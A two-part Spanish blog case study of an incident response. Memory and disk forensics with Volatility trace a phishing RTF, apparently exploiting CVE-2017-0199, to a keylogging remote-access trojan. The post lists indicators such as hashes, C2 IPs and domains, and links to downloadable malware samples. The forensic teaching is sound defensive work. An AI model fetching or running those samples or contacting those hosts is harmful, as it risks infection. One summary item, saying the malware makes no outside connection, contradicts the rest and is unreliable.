Buena parte de los incidentes de seguridad comienzan con una llamada de un usuario quejándose de que “su equipo va lento / va raro / se cuelga / está poseído por alienígenas de Alpha Centauri”. Y obviamente, el usuario nunca “ha tocado nada / hecho nada raro / abierto nada / metido ningún USB con porno holandés de mapaches” en su equipo.

En la mayoría de los casos tras una investigación más o menos extensa (o tras la aplicación contundente de un LART), se demuestra que el usuario sí que ha realizado alguna acción, por lo que el 95% de los casos los usuarios suelen ser fuente inagotable de falsos positivos (y de alguna batallita gloriosa que no puede ser contada por el bien de la integridad física del autor).

Sin embargo, los usuarios constituyen una buena fuente de información a la hora de detectar un ataque contra la Organización. Debidamente entrenados, no solo son más duros de pelar a la hora de picar en un ataque de spear-phishing sino que además pueden avisarnos de dichos ataques, permitiendo que respondamos en algunos casos prácticamente en tiempo real (es por ello que todos los esfuerzos en concienciación en seguridad siempre merecen la pena).

En este caso tenemos una llamada de un usuario estándar: su equipo va “raro”, y jura y perjura que “no ha tocado nada”. Debido a que no es un $hyperboss pero si un $boss de cierto rango es necesaria una pronta respuesta, así que nos encaminamos a su equipo con celeridad recogiendo el equipo necesario para responder a un posible incidente: memoria USB con herramientas de triage, disco USB para una captura de disco y un café de medio litro.

El usuario nos recibe durante exactamente 20 segundos: el tiempo suficiente como para dejarnos el equipo encendido e “irse a una reunión urgente”. Si es necesario, ya nos atenderá cuando vuelva. En este momento de todas formas lo único que necesitamos es una captura de información básica que nos permita determinar si tenemos o no un incidente de seguridad.

Lo primero de todo es hacer un volcado de la memoria RAM del equipo, en este caso con la herramienta DumpIt, con un funcionamiento más básico que el mecanismo de un botijo.

Desde el mismo USB de herramientas lanzamos la herramienta:

El resultado es un fichero de 2Gb generado directamente en la propia memoria USB (recordad que hay que tocar lo menos posible el disco duro por si luego tenemos que hacer un análisis forense).  Ya que estamos, vamos a recoger una información básica de triage con CYLR (que recoge entre otras cosas el registro de Windows, los logs y la MFT, todo ello a una velocidad de vértigo).

[Nota: queremos hacer este caso práctico MUY práctico. Por ello, puedes descargar tanto el volcado de RAM como el triage desde aquí].

Una vez recogida la información de triage (lo que debería llevaros <10min en un equipo moderno), podemos volver a nuestro equipo para revisar los datos. El análisis de la memoria suele ser la técnica que mejores resultados ofrece, así que tiramos de Volatility y realizamos dos listados de procesos con pslist y pstree (consejo: en estos análisis suele ser necesario volver a revisar la salida de muchos comandos, por lo que es muy útil redireccionar la salida a un fichero de texto):

 
# volatility --profile Win7SP1x64 -f win7_labodfir.raw pslist > pslist.txt
# volatility --profile Win7SP1x64 -f win7_labodfir.raw pstree > pstree.txt

Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa8018da7040 System                    4      0     93      590 ------      0 2018-04-07 08:36:49 UTC+0000                                 
0xfffffa80194ee340 smss.exe                260      4      2       29 ------      0 2018-04-07 08:36:49 UTC+0000                                 
0xfffffa801a29a060 smss.exe                340    260      0 --------      0      0 2018-04-07 08:36:52 UTC+0000   2018-04-07 08:36:55 UTC+0000  
0xfffffa801a29c2f0 csrss.exe               348    340      9      580      0      0 2018-04-07 08:36:52 UTC+0000                                 
0xfffffa801a5a9900 smss.exe                380    260      0 --------      1      0 2018-04-07 08:36:55 UTC+0000   2018-04-07 08:36:55 UTC+0000  
0xfffffa801a5acb10 wininit.exe             388    340      3       78      0      0 2018-04-07 08:36:55 UTC+0000                                 
0xfffffa801a5b3b10 csrss.exe               400    380      9      325      1      0 2018-04-07 08:36:55 UTC+0000                                 
0xfffffa801a5dcb10 winlogon.exe            436    380      3      112      1      0 2018-04-07 08:36:55 UTC+0000                                 
0xfffffa801a66db10 services.exe            496    388      9      232      0      0 2018-04-07 08:36:56 UTC+0000                                 
0xfffffa801a67eb10 lsass.exe               504    388      7      579      0      0 2018-04-07 08:36:56 UTC+0000                                 
0xfffffa801a684b10 lsm.exe                 512    388     10      148      0      0 2018-04-07 08:36:56 UTC+0000                                 
0xfffffa801a532b10 svchost.exe             620    496     11      361      0      0 2018-04-07 08:36:58 UTC+0000                                 
0xfffffa801aa90060 svchost.exe             684    496      9      322      0      0 2018-04-07 08:36:58 UTC+0000                                 
0xfffffa801aac1870 svchost.exe             740    496     23      523      0      0 2018-04-07 08:36:58 UTC+0000                                 
0xfffffa801ab49b10 svchost.exe             832    496     19      450      0      0 2018-04-07 08:36:58 UTC+0000                                 
0xfffffa801ab5f630 svchost.exe             864    496     20      788      0      0 2018-04-07 08:36:59 UTC+0000                                 
0xfffffa801ab8cb10 svchost.exe             912    496     35     1018      0      0 2018-04-07 08:36:59 UTC+0000                                 
0xfffffa801abc1b10 audiodg.exe             996    740      6      136      0      0 2018-04-07 08:36:59 UTC+0000                                 
0xfffffa801ac1ab10 svchost.exe             984    496     15      383      0      0 2018-04-07 08:36:59 UTC+0000                                 
0xfffffa8019c7fb10 spoolsv.exe            1188    496     15      355      0      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa8019c88450 taskhost.exe           1196    496     10      282      1      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa8019cac600 svchost.exe            1256    496     18      319      0      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa801acc6870 svchost.exe            1360    496     10      148      0      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa801ad1bb10 Sysmon.exe             1448    496     12      572      0      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa8018e61060 vmtoolsd.exe           1524    496      8      295      0      0 2018-04-07 08:37:00 UTC+0000                                 
0xfffffa801a0cf060 unsecapp.exe           1792    620      4       66      0      0 2018-04-07 08:37:02 UTC+0000                                 
0xfffffa801a59a060 WmiPrvSE.exe           1916    620     13      329      0      0 2018-04-07 08:37:03 UTC+0000                                 
0xfffffa801a5de060 dllhost.exe            1932    496      0 --------      0      0 2018-04-07 08:37:03 UTC+0000   2018-04-07 08:40:14 UTC+0000  
0xfffffa801a646060 TPAutoConnSvc.         2000    496     10      141      0      0 2018-04-07 08:37:03 UTC+0000                                 
0xfffffa801a69b060 sppsvc.exe             1312    496      6      153      0      0 2018-04-07 08:37:03 UTC+0000                                 
0xfffffa8018e67600 TPAutoConnect.          648   2000      5      122      1      0 2018-04-07 08:37:06 UTC+0000                                 
0xfffffa8019c33b10 conhost.exe            1080    400      1       34      1      0 2018-04-07 08:37:06 UTC+0000                                 
0xfffffa801a776060 dllhost.exe            2088    496     15      199      0      0 2018-04-07 08:37:09 UTC+0000                                 
0xfffffa801a6e2060 WUDFHost.exe           2232    832      8      192      0      0 2018-04-07 08:37:11 UTC+0000                                 
0xfffffa801a8628f0 msdtc.exe              2296    496     14      154      0      0 2018-04-07 08:37:11 UTC+0000                                 
0xfffffa801ac0d060 VSSVC.exe              2448    496      0 --------      0      0 2018-04-07 08:37:14 UTC+0000   2018-04-07 08:40:14 UTC+0000  
0xfffffa80192ab060 userinit.exe           2504    436      0 --------      1      0 2018-04-07 08:37:14 UTC+0000   2018-04-07 08:37:45 UTC+0000  
0xfffffa8019c52b10 dwm.exe                2512    832      5      126      1      0 2018-04-07 08:37:14 UTC+0000                                 
0xfffffa801a790060 explorer.exe           2536   2504     41     1158      1      0 2018-04-07 08:37:14 UTC+0000                                 
0xfffffa801922e620 vmtoolsd.exe           2616   2536      6      186      1      0 2018-04-07 08:37:17 UTC+0000                                 
0xfffffa801916f720 cmd.exe                2820   2536      1       20      1      0 2018-04-07 08:37:22 UTC+0000                                 
0xfffffa8019182060 conhost.exe            2828    400      2       63      1      0 2018-04-07 08:37:22 UTC+0000                                 
0xfffffa801913cb10 SearchIndexer.         2864    496     13      841      0      0 2018-04-07 08:37:23 UTC+0000                                 
0xfffffa80194d5650 SearchProtocol         2968   2864      0 --------      0      0 2018-04-07 08:37:26 UTC+0000   2018-04-07 08:41:37 UTC+0000  
0xfffffa8019748b10 SearchFilterHo         2992   2864      0 --------      0      0 2018-04-07 08:37:26 UTC+0000   2018-04-07 08:40:26 UTC+0000  
0xfffffa801a5b9360 svchost.exe            1944    496     14      225      0      0 2018-04-07 08:38:21 UTC+0000                                 
0xfffffa801a17bb10 wmpnetwk.exe           1744    496      9      209      0      0 2018-04-07 08:38:22 UTC+0000                                 
0xfffffa8019c45b10 mscorsvw.exe           2476    496      6       87      0      1 2018-04-07 08:39:03 UTC+0000                                 
0xfffffa801a819b10 mscorsvw.exe           2788    496      6       78      0      0 2018-04-07 08:39:03 UTC+0000                                 
0xfffffa801a81a600 svchost.exe            2908    496     13      361      0      0 2018-04-07 08:39:03 UTC+0000                                 
0xfffffa801a745320 TrustedInstall         1980    496      4      120      0      0 2018-04-07 08:39:51 UTC+0000                                 
0xfffffa801a831b10 PING.EXE               1940   2820      0 --------      1      0 2018-04-07 08:40:01 UTC+0000   2018-04-07 08:40:03 UTC+0000  
0xfffffa801a8d7b10 OSPPSVC.EXE            1136    496      6      128      0      0 2018-04-07 08:42:08 UTC+0000                                 
0xfffffa801ab2cb10 python.exe             3020   2536      0 --------      1      0 2018-04-07 08:42:14 UTC+0000   2018-04-07 08:47:34 UTC+0000  
0xfffffa801ab35350 conhost.exe            1760    400      0 --------      1      0 2018-04-07 08:42:15 UTC+0000   2018-04-07 08:47:34 UTC+0000  
0xfffffa801aa38b10 explorer.exe           1132    620      0 --------      1      0 2018-04-07 08:44:09 UTC+0000   2018-04-07 08:45:10 UTC+0000  
0xfffffa801a9c8600 vfggggg.exe            3208   1132      0 --------      1      0 2018-04-07 08:44:09 UTC+0000   2018-04-07 08:44:38 UTC+0000  
0xfffffa801a9c6b10 vfggggg.exe            2072   3208     23      396      1      1 2018-04-07 08:44:25 UTC+0000                                 
0xfffffa801aec0b10 WmiPrvSE.exe           3632    620     13      333      0      1 2018-04-07 08:44:42 UTC+0000                                 
0xfffffa801b55e060 WmiApSrv.exe           3476    496      5      112      0      0 2018-04-07 08:44:50 UTC+0000                                 
0xfffffa801ae88060 WmiPrvSE.exe           3080    620      7      211      0      1 2018-04-07 08:44:55 UTC+0000                                 
0xfffffa801afbc060 SearchProtocol         2952   2864      7      284      0      0 2018-04-07 08:45:39 UTC+0000                                 
0xfffffa801a91f550 SearchFilterHo         2676   2864      5      104      0      0 2018-04-07 08:45:39 UTC+0000                     

El vfggggg.exe casi hace daño a la vista de lo malicioso que parece. Esta vez parece que los creadores del malware no se han gastado nada en técnicas de ofuscación. Sí que es curioso que el padre sea explorer.exe (habitualmente suele ser un cmd.exe o un Powershell.exe, o podemos trazar los padres hasta llegar a un navegador o cliente de correo).
La segunda opción más rentable suele ser reconocer las conexiones de red con netscan:

# volatility --profile Win7SP1x64 -f win7_labodfir.raw netscan > netscan.txt

Volatility Foundation Volatility Framework 2.5

Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
0x7deda8c0         UDPv4    0.0.0.0:3702                   *:*      1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e030010         UDPv4    0.0.0.0:64476                  *:*      864      svchost.exe    2018-04-07 08:38:26 UTC+0000
0x7e030010         UDPv6    :::64476                       *:*       864      svchost.exe    2018-04-07 08:38:26 UTC+0000
0x7e043730         UDPv4    0.0.0.0:5355                   *:*     984      svchost.exe    2018-04-07 08:38:20 UTC+0000
0x7e06bb30         UDPv4    0.0.0.0:3702                   *:*        1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e06bb30         UDPv6    :::3702                        *:*         1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e089b30         UDPv4    0.0.0.0:5355                   *:*             984      svchost.exe    2018-04-07 08:38:20 UTC+0000
0x7e089b30         UDPv6    :::5355                        *:*           984      svchost.exe    2018-04-07 08:38:20 UTC+0000
0x7e143010         UDPv4    0.0.0.0:3702                   *:*        864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e0a93b0         TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        684      svchost.exe    
0x7e0ac680         TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        684      svchost.exe    
0x7e0ac680         TCPv6    :::135                         :::0                 LISTENING        684      svchost.exe    
0x7e0af5c0         TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        388      wininit.exe    
0x7e0b6820         TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        388      wininit.exe    
0x7e0b6820         TCPv6    :::49152                       :::0                 LISTENING        388      wininit.exe    
0x7e144c80         TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        740      svchost.exe    
0x7e145010         TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        740      svchost.exe    
0x7e145010         TCPv6    :::49153                       :::0                 LISTENING        740      svchost.exe    
0x7e0afb10         TCPv6    -:0            6800:a91a:80fa:ffff:6800:a91a:80fa:ffff:0 CLOSED           1        ??=????       
0x7e435010         UDPv4    192.168.25.128:138             *:*      4        System         2018-04-07 08:38:19 UTC+0000
0x7e497ec0         UDPv4    192.168.25.128:137             *:*       4        System         2018-04-07 08:38:19 UTC+0000
0x7e5bdec0         UDPv4    0.0.0.0:3702                   *:*       1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e5bdec0         UDPv6    :::3702                        *:*        1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e5be010         UDPv4    0.0.0.0:64475                  *:*        864      svchost.exe    2018-04-07 08:38:26 UTC+0000
0x7e5c1e00         UDPv4    0.0.0.0:3702                   *:*          864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e5c1e00         UDPv6    :::3702                        *:*       864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e74bd40         UDPv4    0.0.0.0:54789                  *:*        1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e752010         UDPv4    0.0.0.0:54790                  *:*        1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e752010         UDPv6    :::54790                       *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7d4d00         UDPv4    0.0.0.0:3702                   *:*         864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e7d5340         UDPv4    0.0.0.0:54791                  *:*        864      svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7d69b0         UDPv4    0.0.0.0:54792                  *:*          864      svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7d69b0         UDPv6    :::54792                       *:*        864      svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7d8010         UDPv6    ::1:54794                      *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7ec330         UDPv6    fe80::fc4b:861d:db18:9601:54793 *:*   1944 svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7eca00         UDPv4    192.168.25.128:54795     *:*        1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7edd00         UDPv4    127.0.0.1:54796                *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7ee010         UDPv6    fe80::fc4b:861d:db18:9601:1900 *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7ee870         UDPv6    ::1:1900                       *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7f0010         UDPv4    192.168.25.128:1900     *:*     1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7f0950         UDPv4    127.0.0.1:1900                 *:*    1944     svchost.exe    2018-04-07 08:38:22 UTC+0000
0x7e7f5520         UDPv4    0.0.0.0:3702                   *:*    864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e7f5520         UDPv6    :::3702                        *:*        864      svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7e44c700         TCPv4    192.168.25.128:139             0.0.0.0:0            LISTENING        4        System         
0x7e7e5010         TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        496      services.exe   
0x7e7e5010         TCPv6    :::49155                       :::0                 LISTENING        496      services.exe   
0x7e8a4010         TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        496      services.exe   
0x7ead2360         TCPv4    0.0.0.0:445                    0.0.0.0:0            LISTENING        4        System         
0x7ead2360         TCPv6    :::445                         :::0                 LISTENING        4        System         
0x7ee61630         TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        912      svchost.exe    
0x7ee63a80         TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        912      svchost.exe    
0x7ee63a80         TCPv6    :::49154                       :::0                 LISTENING        912      svchost.exe    
0x7f372c40         TCPv4    0.0.0.0:5357                   0.0.0.0:0            LISTENING        4        System         
0x7f372c40         TCPv6    :::5357                        :::0                 LISTENING        4        System         
0x7ee767a0         TCPv6    -:0                            4870:da18:80fa:ffff:4870:da18:80fa:ffff:0 CLOSED           101      3              
0x7f566840         TCPv4    192.168.25.128:49219           91.192.100.59:30030  SYN_SENT         -1                      
0x7fb3bec0         UDPv4    0.0.0.0:0                      *:*     984      svchost.exe    2018-04-07 08:38:17 UTC+0000
0x7fb3bec0         UDPv6    :::0                           *:*    984      svchost.exe    2018-04-07 08:38:17 UTC+0000
0x7fc0a1e0         UDPv4    0.0.0.0:3702                   *:*     1944     svchost.exe    2018-04-07 08:39:03 UTC+0000
0x7fc98a50         TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        504      lsass.exe      
0x7fc98a50         TCPv6    :::49156                       :::0                 LISTENING        504      lsass.exe      
0x7fc9f940         TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        504      lsass.exe     

Obtenemos una combinación de IP/puerto bastante sospechosa: 91.192.100.59:30030. Dado que el puerto 30030 no es especialmente conocido, aquí podríamos tener de dónde tirar en nuestra investigación.
La tercera opción de interés es realizar un listado de los ficheros abiertos que están todavía residentes en memoria con filescan:

# volatility --profile Win7SP1x64 -f win7_labodfir.raw filescan > filescan.txt

Dado que tenemos un nombre de fichero sospechoso, podemos buscarlo:

# fgrep vfggggg.exe filescan.txt
0x000000007e272a90     14      0 R--r-d \Device\HarddiskVolume1\Users\antonio\AppData\Roaming\vfggggg.exe

Comprobamos que el fichero está localizado en una carpeta de usuario, una localización muy frecuente para el malware recién aterrizado en un equipo. Vamos a extraerlo de la memoria con dumpfiles:

# mkdir dump
# volatility --profile Win7SP1x64 -f win7_labodfir.raw dumpfiles -Q 0x000000007e272a90 -u -n -D dump

Obtenemos información básica del fichero con file y exiftool:

# file file.None.0xfffffa801ae09e30.vfggggg.exe.img 
file.None.0xfffffa801ae09e30.vfggggg.exe.img: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

# exiftool file.None.0xfffffa801ae09e30.vfggggg.exe.img 
ExifTool Version Number         : 9.46
File Name                       : file.None.0xfffffa801ae09e30.vfggggg.exe.img
Directory                       : .
File Size                       : 4.0 kB
File Modification Date/Time     : 2018:04:07 14:52:57-04:00
File Access Date/Time           : 2018:04:07 14:53:34-04:00
File Inode Change Date/Time     : 2018:04:07 14:52:57-04:00
File Permissions                : rw-r--r--
File Type                       : Win32 EXE
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2017:06:24 06:53:40-04:00
PE Type                         : PE32
Linker Version                  : 8.0
Code Size                       : 371712
Initialized Data Size           : 580096
Uninitialized Data Size         : 0
Entry Point                     : 0xf000a
OS Version                      : 4.0
Image Version                   : 0.0
Subsystem Version               : 4.0
Subsystem                       : Windows GUI
Warning                         : Error processing PE data dictionary

El fichero parece ser nuestro culpable (un ejecutable PE32 no reconocido en espacio de usuario es como una pistola humeante al lado de un cadáver), pero en este caso el tamaño no acompaña: 4Kb, que indica que no ha podido ser extraído correctamente de la memoria.

Seguimos explorando las evidencias disponibles, en este caso la MFT (Master File Table) recogida por CYLR, que nos va a dar una buena pista de los ficheros que han estado operativos en el momento de la infección. Nuestro objetivo es encontrar la vía en la que el malware ha llegado al sistema, habitualmente una de estas tres: correo, navegación o USB.

La MFT está extraída en bruto gracias a la magia de CYLR, pero necesitamos convertirla a un formato legible, así que hacemos uso de la herramienta mftdump.exe para parsearla y convertirla en un fichero de 71Mb con 175K entradas.

Dado que solo nos interesa el día de hoy, podemos hacer extraer únicamente los ficheros tocados en el día:

# fgrep 2018-04-07 mft_parseada.csv > mft_malware.csv
# wc mft_malware.csv
   457  18333 145101 mft_malware.csv

La operación nos deja 457 eventos, algo mucho más manejable y que podemos abrir sin miedo en un LibreOffice Calc para su examen. No cuesta mucho localizar el vfggggg.exe y comprobar los ficheros que están alrededor:

25645 0 0 0     Purchase Order 03EDG.doc	PURCHA~1.DOC	2018-04-07 08:42:00 2018-04-07 08:42:29
2018-04-07 08:42:29	2018-04-07 08:42:29	
16508	0	1	0	Content.Word	CONTEN~1.WOR	2018-04-07 08:42:07	2018-04-07 08:45:39	2018-04-07 08:45:39	2018-04-07 08:45:39
25612	0	1	0	Content.Outlook	CONTEN~1.OUT	2018-04-07 08:42:29	2018-04-07 08:42:29	2018-04-07 08:42:29	2018-04-07 08:42:29
89905	0	0	0	test 02.exe	TEST02~1.EXE	2018-04-07 08:43:53	2018-04-07 08:43:53	2018-04-07 08:43:54	2018-04-07 08:43:54	952832
89897	0	0	0	vfggggg.exe			2018-04-07 08:44:02	2018-04-07 08:44:02	2018-04-07 08:43:54	2018-04-07 08:43:54	952832

El fichero “Purchase Order 03EDG.doc” tiene todos los boletos para ser el vector de infección. Podemos ver que tenemos residuos de la existencia tanto de Word como de Outlook, por lo que la cadena de infección parece bastante básica: el usuario ha recibido un correo en Outlook con un adjunto malicioso y lo ha abierto directamente con Word.

Ya tenemos localizados los ficheros que queremos recuperar del disco duro del usuario, pero antes de movernos vamos a asegurar la operación sacando la artillería pesada con el comando strings de Volatility (que se realiza en dos tiempos porque previamente tenemos que extraer todas las cadenas útiles del volcado de memoria):

$ strings -a -td win7_labodfir.raw > strings_win7.txt
$ strings -a -td -el win7_labodfir.raw >> strings_win7.txt 
$ volatility --profile Win7SP1x64 -f win7_labodfir.raw strings  -s strings_win7.txt > strings_vol.txt

Buscamos la IP de Netscan y confirmamos que está relacionada con nuestro malware:

# fgrep  91.192.100.59 strings_vol.txt

71148752 [FREE MEMORY:-1] "10:45:08,6998260","vfggggg.exe","2072","TCP Reconnect","192.168.25.128:49179 -> 91.192.100.59:30030","SUCCESS","Length: 0, seqnum: 0, connid: 0","0","C:\Users\antonio\AppData\Roaming\vfggggg.exe"

441241253 [FREE MEMORY:-1] "10:45:40,6802302","vfggggg.exe","2072","TCP Reconnect","192.168.25.128:49186 -> 91.192.100.59:30030","SUCCESS","Length: 0, seqnum: 0, connid: 0","0","C:\Users\antonio\AppData\Roaming\vfggggg.exe"

Investigamos otros rastros de conexiones TCP en la memoria con “TCP Send”, “TCP Receive” y “TCP Reconnect”:

# egrep "TCP Send|TCP Reveive|TCP Reconnect" strings_vol.txt

Encontramos varias conexiones de interés:

1536769087 [2676:00962c3f] 10:42:21,1402019,Network,TCP Send,OUTLOOK.EXE,1128,208.97.132.208:143
438082728 [2676:014baca8] 10:43:53,3557447,Network,TCP Send,powershell.exe,3456,185.83.215.16:443
1161326462 [2952:00299f7e] 10:43:47,6837408,Network,TCP Send,mshta.exe,1236,185.83.215.16:443
519710651 [FREE MEMORY:-1] 10:43:45,8308037,Network,TCP Send,WINWORD.EXE,3744,185.83.215.16:443
519710839 [FREE MEMORY:-1] 10:43:46,3235312,Network,TCP Send,WINWORD.EXE,3744,178.255.83.1:80

Al parecer sí que tenemos un Outlook en juego, así como unas conexiones muy sospechosas tanto de Word como de Powershell. Podríamos darle más vueltas al contenido del strings_vol.txt, pero ya tenemos todas las pistas relacionadas, así que podemos proceder a recuperar los ficheros sospechosos del equipo del usuario: “Purchase Order 03EDG.doc” y “vfggggg.exe”, además de la .pst del usuario (que almacena su correo).

Arrancamos el equipo con un live CD de Linux, montamos el disco y localizamos los ficheros que nos interesan (por ahora no parece necesario hacer una copia forense completa del disco duro). El análisis de los ficheros maliciosos, en el siguiente artículo…

La entrada Caso práctico: “RATas inminentes” (I) aparece primero en Security Art Work.

Análisis (continuación)

En el artículo anterior habíamos determinado que había “algo raro” en el equipo, y nos habíamos descargado tanto un .doc posiblemente malicioso como un ejecutable y un buzón de correo del usuario. Toca ponerse manos a la obra para ver qué pueden contener…

[Nota: Una buena práctica de seguridad es que NUNCA se comparten ficheros maliciosos sin una mínima protección. Por ello, puedes descargar ambos ficheros desde aquí, pero están comprimidos y protegidos por la contraseña “infected”. Manéjadlos con extremo cuidado, avisados estáis).

Lo primero que podemos hacer es abrir la .pst del usuario para comprobar que la vía de infección es la correcta, algo que podemos hacer fácilmente desde Windows con el Kernel Outlook PST Viewer:

Ya tenemos confirmada la vía de entrada (y no nos olvidemos de apuntar los metadatos del correo, que nos van a ser de gran utilidad en la fase de contención), por lo que ya podemos concentrarnos en los dos ficheros maliciosos. Lo primero que hacemos es calcular los hashes (suele ser recomendable calcular tanto MD5 como SHA256, el primero porque todavía está muy en uso y el segundo para evitar colisiones):

# md5sum vfggggg.exe Purchase\ Order\ 03EDG.doc 
b4f28747a0a9317123f0ef109c580844  vfggggg.exe
f48ca1a55120e5a5ff43962ccc8db1a2  Purchase Order 03EDG.doc

# sha256sum vfggggg.exe Purchase\ Order\ 03EDG.doc 
1dd788c038b4d8d2d3302d7a33162322d0896c7d17888e2fa34204b66c9aee50  vfggggg.exe
18ac90e921eac40200ec2b4508d3760149d4c9e931c96b5447a711ddf7d1b3e7 Purchase Order 03EDG.doc

Y de paso, obtenemos algo de información adicional con file y exiftool:

#file Purchase\ Order\ 03EDG.doc vfggggg.exe 

Purchase Order 03EDG.doc: Rich Text Format data, unknown version
vfggggg.exe:              PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

exiftool Purchase\ Order\ 03EDG.doc vfggggg.exe 
======== Purchase Order 03EDG.doc
ExifTool Version Number         : 9.46
File Name                       : Purchase Order 03EDG.doc
Directory                       : .
File Size                       : 221 kB
File Modification Date/Time     : 2018:04:03 09:52:46-04:00
File Access Date/Time           : 2018:04:08 04:06:49-04:00
File Inode Change Date/Time     : 2018:04:08 04:05:26-04:00
File Permissions                : rw-r--r--
Error                           : File format error

======== vfggggg.exe
ExifTool Version Number         : 9.46
File Name                       : vfggggg.exe
Directory                       : .
File Size                       : 930 kB
File Modification Date/Time     : 2018:04:03 07:39:44-04:00
File Access Date/Time           : 2018:04:08 04:13:43-04:00
File Inode Change Date/Time     : 2018:04:08 04:05:26-04:00
File Permissions                : rw-r--r--
File Type                       : Win32 EXE
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2017:06:24 06:53:40-04:00
PE Type                         : PE32
Linker Version                  : 8.0
Code Size                       : 371712
Initialized Data Size           : 580096
Uninitialized Data Size         : 0
Entry Point                     : 0xf000a
OS Version                      : 4.0
Image Version                   : 0.0
Subsystem Version               : 4.0
Subsystem                       : Windows GUI
File Version Number             : 1.0.0.0
Product Version Number          : 1.0.0.0
File Flags Mask                 : 0x003f
File Flags                      : (none)
File OS                         : Win32
Object File Type                : Executable application
File Subtype                    : 0
Language Code                   : Neutral
Character Set                   : Unicode
Comments                        : 
Company Name                    : 
File Description                : 
File Version                    : 1.0.0.0
Internal Name                   : mndgrhsz.exe
Legal Copyright                 : Copyright ©  2018
Legal Trademarks                : 
Original Filename               : mndgrhsz.exe
Product Name                    : 
Product Version                 : 1.0.0.0
Assembly Version                : 1.0.0.0

El segundo fichero es un ejecutable con todas las de la ley, pero el primer fichero dice que es un .doc pero resulta ser un .rtf (vector habitual de varios exploits tanto antiguos como recientes).

Buscamos los hashes en VirusTotal para comprobar si el malware es o no público:

• Purchase Order 03EDG.doc (9/57 en VT), parece un documento malicioso que explota el CVE-2017-0199, una vulnerabilidad de Word

https://www.virustotal.com/es/file/18ac90e921eac40200ec2b4508d3760149d4c9e931c96b5447a711ddf7d1b3e7/analysis/

•  vfggggg.exe (10/66 en VT), malware a priori no identificado.

https://www.virustotal.com/es/file/1dd788c038b4d8d2d3302d7a33162322d0896c7d17888e2fa34204b66c9aee50/analysis/

Dado que ambos ficheros son públicos, ya tenemos libertad de ejecutarlos en una sandbox como la de Hybrid-Analysis:

• Purchase Order 03EDG.doc

https://www.hybrid-analysis.com/sample/18ac90e921eac40200ec2b4508d3760149d4c9e931c96b5447a711ddf7d1b3e7?environmentId=100

• vfggggg.exe

https://www.hybrid-analysis.com/sample/1dd788c038b4d8d2d3302d7a33162322d0896c7d17888e2fa34204b66c9aee50?environmentId=100

Si nos fijamos en los comentarios de VirusTotal, tenemos un análisis adicional de VMRay, que también aporta información adicional:

https://www.vmray.com/analyses/1dd788c038b4/report/overview.html

De la información de todas las fuentes anteriores  extraemos las siguientes conclusiones:

1. El exploit usado parece ser el CVE-2017-0199.
2. El documento realiza una conexión TLS contra el dominio a.doko[.]moe (IP 185.83.215.16).
3. El malware está empaquetado con el packer Morphine v1.2.
4. El malware no realiza ninguna conexión con el exterior.
5. El malware al parecer tiene funciones de keylogger.
6. El malware realiza una conexión TLS contra el dominio dankleo01.chickenkiller[.]com (IP 91.192.100.59)
7. El malware realiza una conexión contra el dominio iptrackeronline.com
8. Antes de que aparezca el fichero vfggggg.exe aparece otro ejecutable: gabkrj.jpg.exe, que lanza el explorer.exe y lo crea.
9. Se crea el directorio c:\users\USUARIO\appdata\roaming\imminent, con varios ficheros de interés.

